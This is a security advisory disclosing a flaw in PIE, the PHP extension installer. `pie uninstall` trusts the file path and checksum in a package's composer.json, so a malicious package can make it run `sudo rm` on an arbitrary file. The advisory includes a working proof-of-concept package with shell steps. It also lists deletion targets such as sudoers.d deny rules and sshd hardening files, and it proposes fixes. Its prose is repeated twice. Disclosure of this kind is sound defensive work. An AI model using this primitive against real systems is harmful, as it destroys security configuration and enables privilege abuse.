Summary
During pie uninstall, PIE reads pie-installed-binary and pie-installed-binary-checksum from a package's composer.json extra block, verifies the sha256 of the file at that path against the declared checksum, and runs sudo rm on the result. The attacker supplies both the path and the checksum, so the comparison just confirms the attacker is consistent with themselves. Any file whose contents the attacker can predict becomes a valid uninstall target, and pie uninstall deletes it as root.
Several first-class PIE workflows leave the upstream-supplied metadata in vendor/composer/installed.json long enough for the uninstaller to read it: pie download <pkg> then pie uninstall <pkg>, pie build <pkg> then pie uninstall, an attacker-engineered build failure during pie install, and installation through raw composer require followed by cleanup with pie uninstall.
The sink is Process::run([Sudo::find(), 'rm', $expectedBinaryFile->filePath]) at src/Installing/UninstallUsingUnlink.php:48, with an identical fallback at src/File/SudoUnlink.php:46.
Details
The metadata read
PieInstalledJsonMetadataKeys::pieMetadataFromComposerPackage at src/ComposerIntegration/PieInstalledJsonMetadataKeys.php:47:
public static function pieMetadataFromComposerPackage(CompletePackageInterface $composerPackage): array
{
$composerPackageExtras = $composerPackage->getExtra();
$onlyPieExtras = [];
foreach (array_column(self::cases(), 'value') as $pieMetadataKey) {
if (
! array_key_exists($pieMetadataKey, $composerPackageExtras)
|| ! is_string($composerPackageExtras[$pieMetadataKey])
|| $composerPackageExtras[$pieMetadataKey] === ''
) {
continue;
}
$onlyPieExtras[$pieMetadataKey] = $composerPackageExtras[$pieMetadataKey];
}
return $onlyPieExtras;
}
The only sanitiser checks is_string($v) && $v !== ''. PIE never validates the path's shape, the checksum format, or the provenance of either value. Nothing here distinguishes a value PIE wrote during its own install lifecycle from a value the upstream package author wrote into composer.json.
The provenance gap
PIE does overwrite both metadata keys during a successful install: InstalledJsonMetadata::addBuildMetadata sets pie-installed-binary-checksum, and addInstallMetadata sets pie-installed-binary. Both run from InstallAndBuildProcess::__invoke at src/ComposerIntegration/InstallAndBuildProcess.php:55-85:
$this->installedJsonMetadata->addDownloadMetadata(...); // never touches pie-installed-binary
if ($composerRequest->operation->shouldBuild()) {
$builtBinaryFile = ($this->pieBuild)(...);
$this->installedJsonMetadata->addBuildMetadata(...); // sets BinaryChecksum + BuiltBinary
}
if (! $composerRequest->operation->shouldInstall()) {
return;
}
$this->installedJsonMetadata->addInstallMetadata( // sets InstalledBinary
$composer,
$composerPackage,
($this->pieInstall)(...),
);
PieOperation (src/ComposerIntegration/PieOperation.php) controls both gates. The Download op turns them both off; the Build op turns shouldInstall() off. Composer still registers the package in installed.json in both cases through parent::install(...) at PiePackageInstaller::install (src/ComposerIntegration/PiePackageInstaller.php:38), and serialises the upstream composer.json extra block verbatim.
Five concrete flows leave the attacker-supplied pie-installed-binary in installed.json:
pie download <pkg> → pie uninstall <pkg>.
pie build <pkg> → pie uninstall <pkg>.
pie install <pkg> where the attacker ships a config.m4 or Makefile that fails. The then-callback throws before addInstallMetadata runs; Composer keeps the package registered in installed.json.
composer require <pkg> directly into PIE's working pie.json (PIE documents this path for shared environments), then pie uninstall.
- Any sequence where the user runs
pie uninstall against a package whose lifecycle never reached PIE's install step.
The unprotected sink
UninstallUsingUnlink::__invoke at src/Installing/UninstallUsingUnlink.php:25-65:
$pieMetadata = PieInstalledJsonMetadataKeys::pieMetadataFromComposerPackage($package->composerPackage());
// (assertion that both keys exist)
$expectedBinaryFile = new BinaryFile(
$pieMetadata[PieInstalledJsonMetadataKeys::InstalledBinary->value],
$pieMetadata[PieInstalledJsonMetadataKeys::BinaryChecksum->value],
);
$expectedBinaryFile->verify();
if (file_exists($expectedBinaryFile->filePath) && ! is_writable($expectedBinaryFile->filePath) && Sudo::exists()) {
Process::run([Sudo::find(), 'rm', $expectedBinaryFile->filePath], timeout: Process::SHORT_TIMEOUT);
if (! file_exists($expectedBinaryFile->filePath)) {
return $expectedBinaryFile;
}
}
try {
SudoUnlink::singleFile($expectedBinaryFile->filePath); // identical sudo rm fallback
} catch (FailedToUnlinkFile $failedToUnlinkFile) {
throw FailedToRemoveExtension::withFilename($expectedBinaryFile, $failedToUnlinkFile);
}
BinaryFile::verify at src/File/BinaryFile.php:35 checks file_exists($filePath) and hash_equals($declaredChecksum, sha256($filePath)). The attacker supplies both sides of that comparison from the same composer.json, so verify only confirms internal consistency; it never tests authenticity.
The ! is_writable($filePath) branch is the one the attacker aims for: a root-owned target isn't writable by the invoking user, so PIE takes the sudo branch. PIE has already printed This command may need elevated privileges, and may prompt you for your password. The user types their sudo password expecting PIE to remove a .so from the system extension directory.
What standard checks miss
composer audit checks dependency CVEs; this is a behaviour bug, not a vulnerable-dependency report.
phpstan doesn't model the trust boundary between upstream extra and PIE-written extra.
- PIE's existing unit tests build fixtures with
array_merge($existing, [...]) where the seeded extras come from PIE itself, so no test ever feeds a hostile upstream value into the read path.
PoC
The PoC uses a path repository for reproducibility; an end-to-end attack via Packagist behaves identically (PIE pulls the same composer.json extra).
Step 1 — set up the malicious "PIE package":
mkdir -p /tmp/pie-poc/evil-ext
cd /tmp/pie-poc/evil-ext
# Decoy target (user-owned for non-destructive demo; primitive is identical for root-owned)
echo 'DECOY-CONTENTS' > /tmp/pie-poc-decoy-target.txt
DECOY_HASH=$(sha256sum /tmp/pie-poc-decoy-target.txt | awk '{print $1}')
cat > composer.json <<EOF
{
"name": "pie-poc/evil",
"type": "php-ext",
"version": "1.0.0",
"license": "MIT",
"require": {"php": ">=8.1"},
"php-ext": {"extension-name": "evil"},
"extra": {
"pie-installed-binary": "/tmp/pie-poc-decoy-target.txt",
"pie-installed-binary-checksum": "$DECOY_HASH"
}
}
EOF
Step 2 — victim configuration:
export PIE_WORKING_DIRECTORY=/tmp/pie-poc/fake-home
mkdir -p "$PIE_WORKING_DIRECTORY"
pie repository:add path /tmp/pie-poc/evil-ext
Step 3 — run the primitive:
pie download pie-poc/evil
ls -la /tmp/pie-poc-decoy-target.txt # decoy present
pie uninstall pie-poc/evil
ls -la /tmp/pie-poc-decoy-target.txt # gone
Observed output of the pie uninstall invocation:
🥧 PHP Installer for Extensions (PIE) 1.5.x-dev, from The PHP Foundation
This command may need elevated privileges, and may prompt you for your password.
You are running PHP 8.4.21
Target PHP installation: 8.4.21 nts, on Linux/OSX/etc x86_64 (from /usr/bin/php8.4)
👋 Removed extension: /tmp/pie-poc-decoy-target.txt
The smoking-gun line is 👋 Removed extension: /tmp/pie-poc-decoy-target.txt. The decoy file has no relationship to the pie-poc/evil package; the attacker steered PIE into deleting an unrelated path purely through composer.json extra. For the root-elevated variant, point pie-installed-binary at a file the invoking user can't write but root can (any root-owned file in /etc, /var, /usr/local): the same code path runs sudo rm <attacker_path>, and the user types their sudo password thinking they're confirming an extension cleanup.
Verified on:
| PIE |
PHP |
OS |
Outcome |
commit 5c3fa89c5f63728f60fda04756b4044c01855ff7 (1.5.x branch) |
8.4.21 (NTS) |
Linux x86_64 (WSL2) |
yes |
| 1.4.4 release tag |
(code path identical at UninstallUsingUnlink.php:48 and SudoUnlink.php:46) |
— |
yes (by code inspection) |
PIE's relevant code paths are unchanged between 1.4.x and 1.5.x.
Impact
Vulnerability class: Privilege-boundary violation; sudo-elevated unlink of an attacker-chosen path.
Capability granted: The attacker, by publishing a type: php-ext package on Packagist (or any Composer repository the victim trusts), can cause pie uninstall to execute sudo rm <attacker_chosen_path> against any file whose sha256 the attacker can predict. Predictable targets that require no on-host knowledge:
- Distribution-shipped configuration files with stable content across an OS image (cron drop-ins,
sshd_config.d hardening files, sudoers.d deny rules, package-manager hold files).
- Files the attacker has themselves created earlier in the session: their own
make install writes a marker, the metadata points at it, the marker disappears under root. Useful for obscuring a logged action.
- Static cloud-image baseline files (AWS / Azure / GCP marketplace images often ship deterministic security baselines).
The realistic high-value chain is deleting a security-hardening drop-in. A sudoers.d/disable-something file vanishes, the deny rule it carried vanishes with it, and a subsequent attack path re-opens. Same shape for sshd_config.d/00-disable-password-auth.conf (password auth re-enabled) or a fail2ban jail file (brute-force protection gone).
Affected versions: All PIE releases through 1.4.4 and the 1.5.x development branch up to commit 5c3fa89c5f63728f60fda04756b4044c01855ff7. The metadata-read pattern has been in place since PIE's uninstall path landed; no prior fix exists.
Affected configurations: Default. No special PHP version, no special build flags, no opt-in feature. Sudo::find() requires either an interactive terminal or the invoking process already running as root, both of which are typical for the pie install / pie uninstall workflow.
Affected users:
- Anyone who installs PIE-managed extensions in interactive shells (the common case).
- CI environments running PIE as root (most CI containers run as root by default), where the sudo gate is moot.
- Multi-user shared hosts where one user has sudo access for PIE management.
Required user action: Either (1) pie download <attacker_pkg> followed by pie uninstall <attacker_pkg>, or (2) pie build <attacker_pkg> followed by pie uninstall, or (3) pie install <attacker_pkg> where the package's build is engineered to fail (the attacker controls the Makefile), followed by pie uninstall to clean up, or (4) installation outside PIE (composer require <attacker_pkg> into pie.json) followed by pie uninstall. In each case the victim is prompted for sudo and supplies the password expecting PIE to remove an extension .so.
Chain to denial-of-service or downstream compromise: Deleting a load-bearing configuration file (/etc/sudoers, /etc/passwd, /etc/pam.d/*, a systemd unit file in /etc/systemd/system/*) breaks the invoking system. Deleting a security-hardening drop-in re-enables a previously-denied access path that the attacker then uses through a separate channel.
Fix direction
Either of these closes the primitive:
-
Containment check in UninstallUsingUnlink::__invoke at src/Installing/UninstallUsingUnlink.php:25. Before trusting pie-installed-binary, assert (via realpath) that the path sits inside one of the target PHP's extensionPath() directories. If not, throw with a clear error; that signals to the user that installed.json is corrupt or hostile.
-
Namespace PIE-written metadata. Write pie-installed-binary only under a key PIE controls end-to-end, e.g. extra['pie-internal'] = ['installed-binary' => ..., 'installed-binary-checksum' => ...], and reject any upstream composer.json that declares pie-internal at install time. This collapses the whole family of "upstream extra survives into PIE's read" bugs into a single boundary check.
As independent hardening, add a -- argv separator at src/Installing/UninstallUsingUnlink.php:48 and src/File/SudoUnlink.php:46: Process::run([Sudo::find(), 'rm', '--', $filePath]). The argv-flag-injection variant on the same sink isn't reachable today, but the separator costs nothing and removes the footgun.
Summary
During
pie uninstall, PIE readspie-installed-binaryandpie-installed-binary-checksumfrom a package'scomposer.jsonextrablock, verifies the sha256 of the file at that path against the declared checksum, and runssudo rmon the result. The attacker supplies both the path and the checksum, so the comparison just confirms the attacker is consistent with themselves. Any file whose contents the attacker can predict becomes a valid uninstall target, andpie uninstalldeletes it as root.Several first-class PIE workflows leave the upstream-supplied metadata in
vendor/composer/installed.jsonlong enough for the uninstaller to read it:pie download <pkg>thenpie uninstall <pkg>,pie build <pkg>thenpie uninstall, an attacker-engineered build failure duringpie install, and installation through rawcomposer requirefollowed by cleanup withpie uninstall.The sink is
Process::run([Sudo::find(), 'rm', $expectedBinaryFile->filePath])atsrc/Installing/UninstallUsingUnlink.php:48, with an identical fallback atsrc/File/SudoUnlink.php:46.Details
The metadata read
PieInstalledJsonMetadataKeys::pieMetadataFromComposerPackageatsrc/ComposerIntegration/PieInstalledJsonMetadataKeys.php:47:The only sanitiser checks
is_string($v) && $v !== ''. PIE never validates the path's shape, the checksum format, or the provenance of either value. Nothing here distinguishes a value PIE wrote during its own install lifecycle from a value the upstream package author wrote intocomposer.json.The provenance gap
PIE does overwrite both metadata keys during a successful install:
InstalledJsonMetadata::addBuildMetadatasetspie-installed-binary-checksum, andaddInstallMetadatasetspie-installed-binary. Both run fromInstallAndBuildProcess::__invokeatsrc/ComposerIntegration/InstallAndBuildProcess.php:55-85:PieOperation(src/ComposerIntegration/PieOperation.php) controls both gates. TheDownloadop turns them both off; theBuildop turnsshouldInstall()off. Composer still registers the package ininstalled.jsonin both cases throughparent::install(...)atPiePackageInstaller::install(src/ComposerIntegration/PiePackageInstaller.php:38), and serialises the upstreamcomposer.jsonextrablock verbatim.Five concrete flows leave the attacker-supplied
pie-installed-binaryininstalled.json:pie download <pkg>→pie uninstall <pkg>.pie build <pkg>→pie uninstall <pkg>.pie install <pkg>where the attacker ships aconfig.m4orMakefilethat fails. Thethen-callback throws beforeaddInstallMetadataruns; Composer keeps the package registered ininstalled.json.composer require <pkg>directly into PIE's workingpie.json(PIE documents this path for shared environments), thenpie uninstall.pie uninstallagainst a package whose lifecycle never reached PIE's install step.The unprotected sink
UninstallUsingUnlink::__invokeatsrc/Installing/UninstallUsingUnlink.php:25-65:BinaryFile::verifyatsrc/File/BinaryFile.php:35checksfile_exists($filePath)andhash_equals($declaredChecksum, sha256($filePath)). The attacker supplies both sides of that comparison from the samecomposer.json, so verify only confirms internal consistency; it never tests authenticity.The
! is_writable($filePath)branch is the one the attacker aims for: a root-owned target isn't writable by the invoking user, so PIE takes the sudo branch. PIE has already printedThis command may need elevated privileges, and may prompt you for your password. The user types their sudo password expecting PIE to remove a.sofrom the system extension directory.What standard checks miss
composer auditchecks dependency CVEs; this is a behaviour bug, not a vulnerable-dependency report.phpstandoesn't model the trust boundary between upstreamextraand PIE-writtenextra.array_merge($existing, [...])where the seeded extras come from PIE itself, so no test ever feeds a hostile upstream value into the read path.PoC
The PoC uses a
pathrepository for reproducibility; an end-to-end attack via Packagist behaves identically (PIE pulls the samecomposer.jsonextra).Step 1 — set up the malicious "PIE package":
Step 2 — victim configuration:
Step 3 — run the primitive:
Observed output of the
pie uninstallinvocation:The smoking-gun line is
👋 Removed extension: /tmp/pie-poc-decoy-target.txt. The decoy file has no relationship to thepie-poc/evilpackage; the attacker steered PIE into deleting an unrelated path purely throughcomposer.jsonextra. For the root-elevated variant, pointpie-installed-binaryat a file the invoking user can't write but root can (any root-owned file in/etc,/var,/usr/local): the same code path runssudo rm <attacker_path>, and the user types their sudo password thinking they're confirming an extension cleanup.Verified on:
5c3fa89c5f63728f60fda04756b4044c01855ff7(1.5.x branch)UninstallUsingUnlink.php:48andSudoUnlink.php:46)PIE's relevant code paths are unchanged between
1.4.xand1.5.x.Impact
Vulnerability class: Privilege-boundary violation; sudo-elevated
unlinkof an attacker-chosen path.Capability granted: The attacker, by publishing a
type: php-extpackage on Packagist (or any Composer repository the victim trusts), can causepie uninstallto executesudo rm <attacker_chosen_path>against any file whose sha256 the attacker can predict. Predictable targets that require no on-host knowledge:sshd_config.dhardening files,sudoers.ddeny rules, package-manager hold files).make installwrites a marker, the metadata points at it, the marker disappears under root. Useful for obscuring a logged action.The realistic high-value chain is deleting a security-hardening drop-in. A
sudoers.d/disable-somethingfile vanishes, the deny rule it carried vanishes with it, and a subsequent attack path re-opens. Same shape forsshd_config.d/00-disable-password-auth.conf(password auth re-enabled) or a fail2ban jail file (brute-force protection gone).Affected versions: All PIE releases through
1.4.4and the1.5.xdevelopment branch up to commit5c3fa89c5f63728f60fda04756b4044c01855ff7. The metadata-read pattern has been in place since PIE's uninstall path landed; no prior fix exists.Affected configurations: Default. No special PHP version, no special build flags, no opt-in feature.
Sudo::find()requires either an interactive terminal or the invoking process already running as root, both of which are typical for thepie install/pie uninstallworkflow.Affected users:
Required user action: Either (1)
pie download <attacker_pkg>followed bypie uninstall <attacker_pkg>, or (2)pie build <attacker_pkg>followed bypie uninstall, or (3)pie install <attacker_pkg>where the package's build is engineered to fail (the attacker controls theMakefile), followed bypie uninstallto clean up, or (4) installation outside PIE (composer require <attacker_pkg>intopie.json) followed bypie uninstall. In each case the victim is prompted forsudoand supplies the password expecting PIE to remove an extension.so.Chain to denial-of-service or downstream compromise: Deleting a load-bearing configuration file (
/etc/sudoers,/etc/passwd,/etc/pam.d/*, a systemd unit file in/etc/systemd/system/*) breaks the invoking system. Deleting a security-hardening drop-in re-enables a previously-denied access path that the attacker then uses through a separate channel.Fix direction
Either of these closes the primitive:
Containment check in
UninstallUsingUnlink::__invokeatsrc/Installing/UninstallUsingUnlink.php:25. Before trustingpie-installed-binary, assert (viarealpath) that the path sits inside one of the target PHP'sextensionPath()directories. If not, throw with a clear error; that signals to the user thatinstalled.jsonis corrupt or hostile.Namespace PIE-written metadata. Write
pie-installed-binaryonly under a key PIE controls end-to-end, e.g.extra['pie-internal'] = ['installed-binary' => ..., 'installed-binary-checksum' => ...], and reject any upstreamcomposer.jsonthat declarespie-internalat install time. This collapses the whole family of "upstreamextrasurvives into PIE's read" bugs into a single boundary check.As independent hardening, add a
--argv separator atsrc/Installing/UninstallUsingUnlink.php:48andsrc/File/SudoUnlink.php:46:Process::run([Sudo::find(), 'rm', '--', $filePath]). The argv-flag-injection variant on the same sink isn't reachable today, but the separator costs nothing and removes the footgun.